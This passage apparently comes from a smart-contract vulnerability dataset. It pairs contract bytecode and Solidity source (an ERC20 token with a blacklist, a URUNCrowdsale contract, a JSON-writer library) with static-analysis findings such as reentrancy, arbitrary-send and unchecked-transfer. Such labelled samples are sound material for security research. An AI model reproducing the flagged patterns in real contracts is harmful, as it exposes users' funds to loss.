5b600d811115610e9e57600080fd5b600e91909155601055565b6000546001600160a01b03163314610ed35760405162461bcd60e51b81526004016107d590612157565b6004811115610ee157600080fd5b610eed81610e1061225e565b60185550565b6000546001600160a01b03163314610f1d5760405162461bcd60e51b81526004016107d590612157565b601c54811015610f2c57600080fd5b601c55565b6000546001600160a01b03163314610f5b5760405162461bcd60e51b81526004016107d590612157565b6001600160a01b038116610fc05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661107d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d5565b6001600160a01b0382166110de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d5565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d5565b6001600160a01b0382166112055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d5565b600081116112675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d5565b6001600160a01b03821660009081526009602052604090205460ff16156112a05760405162461bcd60e51b81526004016107d59061218c565b6001600160a01b03831660009081526009602052604090205460ff16156112d95760405162461bcd60e51b81526004016107d59061218c565b3360009081526009602052604090205460ff16156113095760405162461bcd60e51b81526004016107d59061218c565b6000546001600160a01b0384811691161480159061133557506000546001600160a01b03838116911614155b156116ae57601a54600160a01b900460ff166113935760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d5565b601a546001600160a01b0383811691161480156113be57506019546001600160a01b03848116911614155b15611470576001600160a01b03821630148015906113e557506001600160a01b0383163014155b80156113ff57506017546001600160a01b03838116911614155b801561141957506017546001600160a01b03848116911614155b1561147057601b548111156114705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d5565b601a546001600160a01b0383811691161480159061149c57506017546001600160a01b03838116911614155b80156114b157506001600160a01b0382163014155b80156114c857506001600160a01b03821661dead14155b156115a857601c54816114da846109cb565b6114e49190612224565b1061153d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107d5565b601a54600160b81b900460ff16156115a857600a5461155e906104b0612224565b42116115a857601e548111156115a85760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107d5565b60006115b3306109cb565b601d5490915081118080156115d25750601a54600160a81b900460ff16155b80156115ec5750601a546001600160a01b03868116911614155b80156116015750601a54600160b01b900460ff165b801561162657506001600160a01b03851660009081526006602052604090205460ff16155b801561164b57506001600160a01b03841660009081526006602052604090205460ff16155b156116ab57601354600090156116865761167b606461167560135486611aeb90919063ffffffff16565b90611b6a565b905061168681611bac565b611698611693828561227d565b611962565b4780156116a8576116a8476118a0565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806116f057506001600160a01b03831660009081526006602052604090205460ff165b806117225750601a546001600160a01b038581169116148015906117225750601a546001600160a01b03848116911614155b1561172f57506000611854565b601a546001600160a01b03858116911614801561175a57506019546001600160a01b03848116911614155b156117b5576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156117b5576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156117e057506019546001600160a01b03858116911614155b15611854576001600160a01b0384166000908152600460205260409020541580159061183157506018546001600160a01b038516600090815260046020526040902054429161182e91612224565b10155b1561184757600b54601155600c54601255611854565b600f546011556010546012555b61186084848484611bb9565b50505050565b6000818484111561188a5760405162461bcd60e51b81526004016107d59190612102565b506000611897848661227d565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156118da573d6000803e3d6000fd5b5050565b60006007548211156119455760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d5565b600061194f611bed565b905061195b8382611b6a565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119aa576119aa6122aa565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119fe57600080fd5b505afa158015611a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a369190611fe2565b81600181518110611a4957611a496122aa565b6001600160a01b039283166020918202929092010152601954611a6f913091168461101b565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611aa89085906000908690309042906004016121b3565b600060405180830381600087803b158015611ac257600080fd5b505af1158015611ad6573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611afa5750600061073c565b6000611b06838561225e565b905082611b13858361223c565b1461195b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d5565b600061195b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c10565b6108203061dead8361113f565b80611bc657611bc6611c3e565b611bd1848484611c83565b8061186057611860601454601155601554601255601654601355565b6000806000611bfa611d7a565b9092509050611c098282611b6a565b9250505090565b60008183611c315760405162461bcd60e51b81526004016107d59190612102565b506000611897848661223c565b601154158015611c4e5750601254155b8015611c5a5750601354155b15611c6157565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c9587611dba565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611cc79087611e17565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cf69086611e59565b6001600160a01b038916600090815260026020526040902055611d1881611eb8565b611d228483611f02565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d6791815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611d958282611b6a565b821015611db157505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611dd78a601154601254611f26565b9250925092506000611de7611bed565b90506000806000611dfa8e878787611f75565b919e509c509a509598509396509194505050505091939550919395565b600061195b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611866565b600080611e668385612224565b90508381101561195b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d5565b6000611ec2611bed565b90506000611ed08383611aeb565b30600090815260026020526040902054909150611eed9082611e59565b30600090815260026020526040902055505050565b600754611f0f9083611e17565b600755600854611f1f9082611e59565b6008555050565b6000808080611f3a60646116758989611aeb565b90506000611f4d60646116758a89611aeb565b90506000611f6582611f5f8b86611e17565b90611e17565b9992985090965090945050505050565b6000808080611f848886611aeb565b90506000611f928887611aeb565b90506000611fa08888611aeb565b90506000611fb282611f5f8686611e17565b939b939a50919850919650505050505050565b600060208284031215611fd757600080fd5b813561195b816122c0565b600060208284031215611ff457600080fd5b815161195b816122c0565b6000806040838503121561201257600080fd5b823561201d816122c0565b9150602083013561202d816122c0565b809150509250929050565b60008060006060848603121561204d57600080fd5b8335612058816122c0565b92506020840135612068816122c0565b929592945050506040919091013590565b6000806040838503121561208c57600080fd5b8235612097816122c0565b946020939093013593505050565b6000602082840312156120b757600080fd5b8135801515811461195b57600080fd5b6000602082840312156120d957600080fd5b5035919050565b600080604083850312156120f357600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561212f57858101830151858201604001528201612113565b81811115612141576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122035784516001600160a01b0316835293830193918301916001016121de565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561223757612237612294565b500190565b60008261225957634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561227857612278612294565b500290565b60008282101561228f5761228f612294565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461082057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4af64990feb8491c288bc2ee92ed0925a538a6b23d997adae70565d0b8351f164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,321 |
0xdb8459034fc97eed3d43172909e1d353e9f4d282
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenInterface {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function burn(uint256 _value) external;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed burner, uint256 value);
}
contract URUNCrowdsale is Ownable{
using SafeMath for uint256;
// The token being sold
TokenInterface public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// how many token units a buyer gets per wei
uint256 public ratePerWei = 800;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public TOKENS_SOLD;
uint256 public minimumContributionPresalePhase1 = uint(2).mul(10 ** 18); //2 eth is the minimum contribution in presale phase 1
uint256 public minimumContributionPresalePhase2 = uint(1).mul(10 ** 18); //1 eth is the minimum contribution in presale phase 2
uint256 public maxTokensToSaleInClosedPreSale;
uint256 public bonusInPreSalePhase1;
uint256 public bonusInPreSalePhase2;
bool public isCrowdsalePaused = false;
uint256 public totalDurationInDays = 31 days;
mapping(address=>bool) isAddressWhiteListed;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, address _wallet, address _tokenAddress) public
{
require(_wallet != 0x0);
require(_startTime >=now);
startTime = _startTime;
endTime = startTime + totalDurationInDays;
require(endTime >= startTime);
owner = _wallet;
maxTokensToSaleInClosedPreSale = 60000000 * 10 ** 18;
bonusInPreSalePhase1 = 50;
bonusInPreSalePhase2 = 40;
token = TokenInterface(_tokenAddress);
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender);
}
function determineBonus(uint tokens) internal view returns (uint256 bonus)
{
uint256 timeElapsed = now - startTime;
uint256 timeElapsedInDays = timeElapsed.div(1 days);
//Closed pre-sale phase 1 (15 days)
if (timeElapsedInDays <15)
{
bonus = tokens.mul(bonusInPreSalePhase1);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInClosedPreSale);
}
//Closed pre-sale phase 2 (16 days)
else if (timeElapsedInDays >=15 && timeElapsedInDays <31)
{
bonus = tokens.mul(bonusInPreSalePhase2);
bonus = bonus.div(100);
require (TOKENS_SOLD.add(tokens.add(bonus)) <= maxTokensToSaleInClosedPreSale);
}
else
{
bonus = 0;
}
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(isCrowdsalePaused == false);
require(isAddressWhiteListed[beneficiary]);
require(validPurchase());
require(isWithinContributionRange());
require(TOKENS_SOLD<maxTokensToSaleInClosedPreSale);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(ratePerWei);
uint256 bonus = determineBonus(tokens);
tokens = tokens.add(bonus);
// update state
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary,tokens);
emit TokenPurchase(owner, beneficiary, weiAmount, tokens);
TOKENS_SOLD = TOKENS_SOLD.add(tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
owner.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
/**
* function to change the end time and start time of the ICO
* can only be called by owner wallet
**/
function changeStartAndEndDate (uint256 startTimeUnixTimestamp, uint256 endTimeUnixTimestamp) public onlyOwner
{
require (startTimeUnixTimestamp!=0 && endTimeUnixTimestamp!=0);
require(endTimeUnixTimestamp>startTimeUnixTimestamp);
require(endTimeUnixTimestamp.sub(startTimeUnixTimestamp) >=totalDurationInDays);
startTime = startTimeUnixTimestamp;
endTime = endTimeUnixTimestamp;
}
/**
* function to change the rate of tokens
* can only be called by owner wallet
**/
function setPriceRate(uint256 newPrice) public onlyOwner {
ratePerWei = newPrice;
}
/**
* function to pause the crowdsale
* can only be called from owner wallet
**/
function pauseCrowdsale() public onlyOwner {
isCrowdsalePaused = true;
}
/**
* function to resume the crowdsale if it is paused
* can only be called from owner wallet
**/
function resumeCrowdsale() public onlyOwner {
isCrowdsalePaused = false;
}
/**
* function to check whether the sent amount is within contribution range or not
**/
function isWithinContributionRange() internal constant returns (bool)
{
uint timePassed = now.sub(startTime);
timePassed = timePassed.div(1 days);
if (timePassed<15)
require(msg.value>=minimumContributionPresalePhase1);
else if (timePassed>=15 && timePassed<31)
require(msg.value>=minimumContributionPresalePhase2);
else
revert(); // off time - no sales during other time periods
return true;
}
/**
* function through which owner can take back the tokens from the contract
**/
function takeTokensBack() public onlyOwner
{
uint remainingTokensInTheContract = token.balanceOf(address(this));
token.transfer(owner,remainingTokensInTheContract);
}
/**
* function through which owner can transfer the tokens to any address
* use this which to properly display the tokens that have been sold via ether or other payments
**/
function manualTokenTransfer(address receiver, uint value) public onlyOwner
{
token.transfer(receiver,value);
TOKENS_SOLD = TOKENS_SOLD.add(value);
}
/**
* Function to add a single address to whitelist
* Can only be called by owner wallet address
**/
function addSingleAddressToWhitelist(address whitelistedAddr) public onlyOwner
{
isAddressWhiteListed[whitelistedAddr] = true;
}
/**
* Function to add multiple addresses to whitelist
* Can only be called by owner wallet address
**/
function addMultipleAddressesToWhitelist(address[] whitelistedAddr) public onlyOwner
{
for (uint i=0;i<whitelistedAddr.length;i++)
{
isAddressWhiteListed[whitelistedAddr[i]] = true;
}
}
/**
* Function to remove an address from whitelist
* Can only be called by owner wallet address
**/
function removeSingleAddressFromWhitelist(address whitelistedAddr) public onlyOwner
{
isAddressWhiteListed[whitelistedAddr] = false;
}
/**
* Function to remove multiple addresses from whitelist
* Can only be called by owner wallet address
**/
function removeMultipleAddressesFromWhitelist(address[] whitelistedAddr) public onlyOwner
{
for (uint i=0;i<whitelistedAddr.length;i++)
{
isAddressWhiteListed[whitelistedAddr[i]] = false;
}
}
/**
* Function to check if an address is whitelisted
**/
function checkIfAddressIsWhiteListed(address whitelistedAddr) public view returns (bool)
{
return isAddressWhiteListed[whitelistedAddr];
}
}
|
0x6080604052600436106101695763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663032b642d811461017457806306c8ffed1461018f5780630c8f167e146101e4578063101031221461020b5780633197cbb6146102205780633e85755a146102355780634042b66f1461024a57806358c6f08b1461025f5780635d61dd5a146102745780636786ed0e146102955780637846c3c8146102ad57806378e97925146102c25780637acc6f74146102d75780637c359dc3146102f85780638da5cb5b1461031c57806398983cc51461034d578063a19e1d0014610376578063a8351c031461038b578063bc7c322c146103a0578063c0a7639e146103b5578063c68fd307146103d6578063cb01f431146103eb578063e30f4e2b14610400578063ec8ac4d814610455578063ecb70fb714610469578063f2fde38b1461047e578063f6a60d891461049f578063fc0c546a146104b4575b610172336104c9565b005b34801561018057600080fd5b506101726004356024356106a4565b34801561019b57600080fd5b50604080516020600480358082013583810280860185019096528085526101729536959394602494938501929182918501908490808284375094975061070d9650505050505050565b3480156101f057600080fd5b506101f9610788565b60408051918252519081900360200190f35b34801561021757600080fd5b506101f961078e565b34801561022c57600080fd5b506101f9610794565b34801561024157600080fd5b506101f961079a565b34801561025657600080fd5b506101f96107a0565b34801561026b57600080fd5b506101726107a6565b34801561028057600080fd5b50610172600160a060020a03600435166108fa565b3480156102a157600080fd5b50610172600435610936565b3480156102b957600080fd5b506101f9610956565b3480156102ce57600080fd5b506101f961095c565b3480156102e357600080fd5b50610172600160a060020a0360043516610962565b34801561030457600080fd5b50610172600160a060020a03600435166024356109a1565b34801561032857600080fd5b50610331610a71565b60408051600160a060020a039092168252519081900360200190f35b34801561035957600080fd5b50610362610a80565b604080519115158252519081900360200190f35b34801561038257600080fd5b506101f9610a89565b34801561039757600080fd5b50610172610a8f565b3480156103ac57600080fd5b506101f9610ab9565b3480156103c157600080fd5b50610362600160a060020a0360043516610abf565b3480156103e257600080fd5b506101f9610add565b3480156103f757600080fd5b506101f9610ae3565b34801561040c57600080fd5b506040805160206004803580820135838102808601850190965280855261017295369593946024949385019291829185019084908082843750949750610ae99650505050505050565b610172600160a060020a03600435166104c9565b34801561047557600080fd5b50610362610b60565b34801561048a57600080fd5b50610172600160a060020a0360043516610b68565b3480156104ab57600080fd5b50610172610c00565b3480156104c057600080fd5b50610331610c27565b60008080600160a060020a03841615156104e257600080fd5b600c5460ff16156104f257600080fd5b600160a060020a0384166000908152600e602052604090205460ff16151561051957600080fd5b610521610c36565b151561052c57600080fd5b610534610c66565b151561053f57600080fd5b6009546006541061054f57600080fd5b60045434935061056690849063ffffffff610ce416565b915061057182610d1a565b9050610583828263ffffffff610dd616565b600554909250610599908463ffffffff610dd616565b600555600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561060b57600080fd5b505af115801561061f573d6000803e3d6000fd5b505050506040513d602081101561063557600080fd5b505060005460408051858152602081018590528151600160a060020a038089169416927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18928290030190a3600654610693908363ffffffff610dd616565b60065561069e610de5565b50505050565b60005433600160a060020a039081169116146106bf57600080fd5b81158015906106cd57508015155b15156106d857600080fd5b8181116106e457600080fd5b600d546106f7828463ffffffff610e2216565b101561070257600080fd5b600291909155600355565b6000805433600160a060020a0390811691161461072957600080fd5b5060005b8151811015610784576000600e6000848481518110151561074a57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905560010161072d565b5050565b60065481565b600d5481565b60035481565b600b5481565b60055481565b6000805433600160a060020a039081169116146107c257600080fd5b600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a033081166004830152915191909216916370a082319160248083019260209291908290030181600087803b15801561082a57600080fd5b505af115801561083e573d6000803e3d6000fd5b505050506040513d602081101561085457600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156108cb57600080fd5b505af11580156108df573d6000803e3d6000fd5b505050506040513d60208110156108f557600080fd5b505050565b60005433600160a060020a0390811691161461091557600080fd5b600160a060020a03166000908152600e60205260409020805460ff19169055565b60005433600160a060020a0390811691161461095157600080fd5b600455565b60085481565b60025481565b60005433600160a060020a0390811691161461097d57600080fd5b600160a060020a03166000908152600e60205260409020805460ff19166001179055565b60005433600160a060020a039081169116146109bc57600080fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a2b57600080fd5b505af1158015610a3f573d6000803e3d6000fd5b505050506040513d6020811015610a5557600080fd5b5050600654610a6a908263ffffffff610dd616565b6006555050565b600054600160a060020a031681565b600c5460ff1681565b600a5481565b60005433600160a060020a03908116911614610aaa57600080fd5b600c805460ff19166001179055565b60045481565b600160a060020a03166000908152600e602052604090205460ff1690565b60075481565b60095481565b6000805433600160a060020a03908116911614610b0557600080fd5b5060005b8151811015610784576001600e60008484815181101515610b2657fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055600101610b09565b600354421190565b60005433600160a060020a03908116911614610b8357600080fd5b600160a060020a0381161515610b9857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610c1b57600080fd5b600c805460ff19169055565b600154600160a060020a031681565b60008060006002544210158015610c4f57506003544211155b915050341515818015610c5f5750805b9250505090565b600080610c7e60025442610e2290919063ffffffff16565b9050610c93816201518063ffffffff610e3416565b9050600f811015610cb257600754341015610cad57600080fd5b610cdc565b600f8110158015610cc35750601f81105b15610cd757600854341015610cad57600080fd5b600080fd5b600191505090565b600080831515610cf75760009150610d13565b50828202828482811515610d0757fe5b0414610d0f57fe5b8091505b5092915050565b600254600090420381610d36826201518063ffffffff610e3416565b9050600f811015610da057600a54610d5590859063ffffffff610ce416565b9250610d6883606463ffffffff610e3416565b600954909350610d90610d81868663ffffffff610dd616565b6006549063ffffffff610dd616565b1115610d9b57600080fd5b610dcf565b600f8110158015610db15750601f81105b15610dca57600b54610d5590859063ffffffff610ce416565b600092505b5050919050565b600082820183811015610d0f57fe5b60008054604051600160a060020a03909116913480156108fc02929091818181858888f19350505050158015610e1f573d6000803e3d6000fd5b50565b600082821115610e2e57fe5b50900390565b6000808284811515610e4257fe5b049493505050505600a165627a7a723058205a532d29448e98b1d3cf6bdefd3eefd25ab07bcb70a80287448d6ea744c55bd90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,322 |
0x9d032763693d4ef989b630de2eca8750bde88219
|
//SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
/**
* @title Write nested JSON using solidity
* @author Ben Meredith
* @dev https://github.com/bmeredith/solidity-json-writer
*/
library JsonWriter {
using JsonWriter for string;
struct Json {
int256 depthBitTracker;
string value;
}
bytes1 constant BACKSLASH = bytes1(uint8(92));
bytes1 constant BACKSPACE = bytes1(uint8(8));
bytes1 constant CARRIAGE_RETURN = bytes1(uint8(13));
bytes1 constant DOUBLE_QUOTE = bytes1(uint8(34));
bytes1 constant FORM_FEED = bytes1(uint8(12));
bytes1 constant FRONTSLASH = bytes1(uint8(47));
bytes1 constant HORIZONTAL_TAB = bytes1(uint8(9));
bytes1 constant NEWLINE = bytes1(uint8(10));
string constant TRUE = "true";
string constant FALSE = "false";
bytes1 constant OPEN_BRACE = "{";
bytes1 constant CLOSED_BRACE = "}";
bytes1 constant OPEN_BRACKET = "[";
bytes1 constant CLOSED_BRACKET = "]";
bytes1 constant LIST_SEPARATOR = ",";
int256 constant MAX_INT256 = type(int256).max;
/**
* @dev Writes the beginning of a JSON array.
*/
function writeStartArray(Json memory json) public pure returns (Json memory) {
return writeStart(json, OPEN_BRACKET);
}
/**
* @dev Writes the beginning of a JSON array with a property name as the key.
*/
function writeStartArray(Json memory json, string memory propertyName)
public
pure
returns (Json memory)
{
return writeStart(json, propertyName, OPEN_BRACKET);
}
/**
* @dev Writes the beginning of a JSON object.
*/
function writeStartObject(Json memory json)
public
pure
returns (Json memory)
{
return writeStart(json, OPEN_BRACE);
}
/**
* @dev Writes the beginning of a JSON object with a property name as the key.
*/
function writeStartObject(Json memory json, string memory propertyName)
public
pure
returns (Json memory)
{
return writeStart(json, propertyName, OPEN_BRACE);
}
/**
* @dev Writes the end of a JSON array.
*/
function writeEndArray(Json memory json) public pure returns (Json memory) {
return writeEnd(json, CLOSED_BRACKET);
}
/**
* @dev Writes the end of a JSON object.
*/
function writeEndObject(Json memory json) public pure returns (Json memory) {
return writeEnd(json, CLOSED_BRACE);
}
/**
* @dev Writes the property name and address value (as a JSON string) as part of a name/value pair of a JSON object.
*/
function writeAddressProperty(
Json memory json,
string memory propertyName,
address value
) public pure returns (Json memory) {
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
propertyName,
'": "',
addressToString(value),
'"'
)
);
} else {
json.value = string(
abi.encodePacked(
json.value,
'"',
propertyName,
'": "',
addressToString(value),
'"'
)
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the address value (as a JSON string) as an element of a JSON array.
*/
function writeAddressValue(Json memory json, address value)
public
pure
returns (Json memory)
{
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
addressToString(value),
'"'
)
);
} else {
json.value = string(
abi.encodePacked(json.value, '"', addressToString(value), '"')
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the property name and boolean value (as a JSON literal "true" or "false") as part of a name/value pair of a JSON object.
*/
function writeBooleanProperty(
Json memory json,
string memory propertyName,
bool value
) public pure returns (Json memory) {
string memory strValue;
if (value) {
strValue = TRUE;
} else {
strValue = FALSE;
}
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
propertyName,
'": ',
strValue
)
);
} else {
json.value = string(
abi.encodePacked(json.value, '"', propertyName, '": ', strValue)
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the boolean value (as a JSON literal "true" or "false") as an element of a JSON array.
*/
function writeBooleanValue(Json memory json, bool value)
public
pure
returns (Json memory)
{
string memory strValue;
if (value) {
strValue = TRUE;
} else {
strValue = FALSE;
}
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(json.value, LIST_SEPARATOR, strValue)
);
} else {
json.value = string(abi.encodePacked(json.value, strValue));
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the property name and int value (as a JSON number) as part of a name/value pair of a JSON object.
*/
function writeIntProperty(
Json memory json,
string memory propertyName,
int256 value
) public pure returns (Json memory) {
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
propertyName,
'": ',
intToString(value)
)
);
} else {
json.value = string(
abi.encodePacked(
json.value,
'"',
propertyName,
'": ',
intToString(value)
)
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the int value (as a JSON number) as an element of a JSON array.
*/
function writeIntValue(Json memory json, int256 value)
public
pure
returns (Json memory)
{
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(json.value, LIST_SEPARATOR, intToString(value))
);
} else {
json.value = string(abi.encodePacked(json.value, intToString(value)));
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the property name and value of null as part of a name/value pair of a JSON object.
*/
function writeNullProperty(Json memory json, string memory propertyName)
public
pure
returns (Json memory)
{
if (json.depthBitTracker < 0) {
json.value = string(
abi.encodePacked(
json.value,
LIST_SEPARATOR,
'"',
propertyName,
'": null'
)
);
} else {
json.value = string(
abi.encodePacked(json.value, '"', propertyName, '": null')
);
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
* @dev Writes the value of null as an element of a JSON array.
*/
function writeNullValue(Json memory json) public pure returns (Json memory) {
if (json.depthBitTracker < 0) {
json.value = string(abi.encodePacked(json.value, LIST_SEPARATOR, "null"));
} else {
json.value = string(abi.encodePacked(json.value, "null"));
}
json.depthBitTracker = setListSeparatorFlag(json);
return json;
}
/**
